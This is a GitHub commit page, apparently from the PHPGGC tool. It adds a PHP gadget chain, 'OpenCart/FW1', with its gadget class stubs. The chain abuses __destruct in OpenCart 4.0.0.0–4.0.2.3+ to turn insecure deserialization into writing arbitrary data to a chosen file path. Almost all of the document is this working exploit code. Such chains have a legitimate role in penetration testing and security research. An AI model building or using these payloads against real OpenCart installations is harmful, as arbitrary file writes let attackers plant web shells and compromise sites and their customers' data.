Skip to content

Commit

Permalink
OpenCart/FW1
Browse files Browse the repository at this point in the history
  • Loading branch information
mcdruid committed Nov 25, 2024
1 parent e39fdab commit 208139b
Show file tree
Hide file tree
Showing 2 changed files with 61 additions and 0 deletions.
23 changes: 23 additions & 0 deletions gadgetchains/OpenCart/FW/1/chain.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
<?php

namespace GadgetChain\OpenCart;

class FW1 extends \PHPGGC\GadgetChain\FileWrite
{
public static $version = '4.0.0.0 <= 4.0.2.3+';
public static $vector = '__destruct';
public static $author = 'mcdruid';

public function generate(array $parameters)
{
$path = $parameters['remote_path'];
$data = $parameters['data'];

return new \Opencart\System\Library\DB\MySQLi(
new \Opencart\System\Library\Session(
new \Opencart\System\Library\Log($path),
$data
)
);
}
}
38 changes: 38 additions & 0 deletions gadgetchains/OpenCart/FW/1/gadgets.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,38 @@
<?php

namespace Opencart\System\Library\DB
{
class MySQLi
{
private object|null $connection;

function __construct($connection)
{
$this->connection = $connection;
}
}
}

namespace Opencart\System\Library
{
class Session
{
protected object $adaptor;
protected string $session_id;

public function __construct($adaptor, $session_id)
{
$this->adaptor = $adaptor;
$this->session_id = $session_id;
}
}

class Log
{
private string $file;

public function __construct($file) {
$this->file = $file;
}
}
}

0 comments on commit 208139b

Please sign in to comment.